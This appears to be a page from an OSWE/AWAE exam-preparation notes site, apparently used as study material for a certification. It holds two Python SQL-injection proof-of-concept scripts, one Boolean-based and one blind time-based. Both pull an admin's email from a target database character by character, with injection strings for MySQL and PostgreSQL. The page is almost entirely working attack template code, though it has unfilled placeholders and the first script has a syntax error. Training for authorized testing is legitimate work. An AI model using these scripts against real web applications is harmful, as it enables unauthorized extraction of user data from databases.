AWAE - OSWE Preparation / Resources
  • TL;DR
  • General
    • Resources
      • BurpSuite
      • WhiteBox
    • POCs
      • Deserialization
        • PHP
        • Java
          • Ysoserial
      • SQL Injection
      • Type Juggling
      • CSRF
  • By Vulnerability
    • SQL Injection
      • Summary
      • Types
      • Injection by clause
      • Bypassing Character Restrictions
      • By Language
        • JAVA
          • Regex
          • Summary
      • Regex
      • Resources
    • Deserialization
      • By Language
        • PHP
          • Regex
          • Summary
          • Practice
        • JAVA
          • Regex
          • Summary
          • Practice
          • Resources
        • .NET
          • Regex
          • Summary
          • Resources
      • Resources
    • XSS
    • XXE
      • By Language
        • PHP
          • Practice
          • Resources
        • Java
          • Vulnerable Libraries' Implementation
      • Resources
    • SSTI
      • Summary
      • Practice
      • Resources
    • File Upload Restrictions Bypass
      • Tricks
      • File Extension Filters Bypass List
      • Resources
  • REGEX
  • By Language
    • PHP
      • Regex
      • Type Juggling
        • Summary
        • Practice
    • Java
      • Decompiling
      • Compiling & Running
    • NodeJS
      • Practice
  • Random
  • Other Repositories
Powered by GitBook
On this page
  • Boolean
  • Blind Time-Based

Was this helpful?

  1. General
  2. POCs

SQL Injection

Boolean

import requests
import sys
#import urllib3
#urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_injection(url, condition):
    req = requests.get(url)#, verify=False)

    if condition in req.text: # Check whether the condition has occurred. If so, the injection has been successful.
        return True
    else:
        return False

def extract(target, injection, query, condition):
    pos = 1
    extracted = ""

    while True:

        for ascii_char in range(32, 126): # Iterate over the ascii range of characters.

            if test_injection(target + injection.format(query, pos, ascii_char).replace(" ","/**/"), condition):
                extracted += chr(ascii_char)
                pos += 1
                break
        
        else:
            return extracted


def get_admin_email(target, injection, condition):
    query = "SELECT email FROM users WHERE username = 'admin'"
    return extract(target, injection, query, condition)

def main():
    if len(sys.argv) != 4:
        print("[+] Usage: {} TARGET LHOST LPORT".format(sys.argv[0]))
        sys.exit(-1)

    target = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]

    ## MySQL
    # injection = "') AND ASCII(SUBSTR(({}),{},1))={}%23" # Declare the injection string.
    # injection = "') AND ASCII(SUBSTR(({}),{},1)){}%23" # Declare the injection string.
    ## PostgreSQL
    # injection = "') AND ASCII(SUBSTR(({}),{},1))={}%23" # Declare the injection string.
    # injection = "') AND ASCII(SUBSTR(({}),{},1))={}%23" # Declare the injection string.

    extracted_data = get_admin_email(target, injection, "CONDITION")
    print("[+] EXTRACTED: {}".format(extracted_data)


if __name__ == "__main__":
    main()

Blind Time-Based

import requests
import sys
#import urllib3
#urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def test_injection(url, time_condition):
    req = requests.get(url)#, verify=False)

    if req.elapsed.total_seconds() > int(time_condition): # Check whether the condition has occurred. If so, the injection has been successful.
        return True
    else:
        return False

def extract(target, injection, query, time_condition):
    pos = 1
    extracted = ""

    while True:

        for ascii_char in range(32, 126): # Iterate over the ascii range of characters.

            if test_injection(target + injection.format(query, pos, ascii_char).replace(" ","/**/"), time_condition):
                extracted += chr(ascii_char)
                pos += 1
                break
        
        else:
            return extracted


def get_admin_email(target, injection, time_condition):
    query = "SELECT email FROM users WHERE username = 'admin'"
    return extract(target, injection, query, time_condition)

def main():
    if len(sys.argv) != 4:
        print("[+] Usage: {} TARGET LHOST LPORT".format(sys.argv[0]))
        sys.exit(-1)

    target = sys.argv[1]
    lhost = sys.argv[2]
    lport = sys.argv[3]

    ## MySQL
    # injection = "') AND ASCII(SUBSTR(({}),{},1))={} AND SLEEP(5)%23" # Declare the injection string.
    # injection = "') AND ASCII(SUBSTR(({}),{},1)){} AND BENCHMARK(3000000,SHA1(1337))%23" # Declare the injection string. # average 2-3 seconds
    ## PostgreSQL
    # injection = "') AND ASCII(SUBSTR(({}),{},1))={} AND (SELECT 1 FROM pg_sleep(10))=1%23" # Declare the injection string.
    # injection = "') AND ASCII(SUBSTR(({}),{},1))={} AND (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))=1%23" # Declare the injection string.

    extracted_data = get_admin_email(target, injection, NUMBER_OF_SECONDS_TO_DETECT)
    print("[+] EXTRACTED: {}".format(extracted_data))


if __name__ == "__main__":
    main()
PreviousYsoserialNextType Juggling

Last updated 4 years ago

Was this helpful?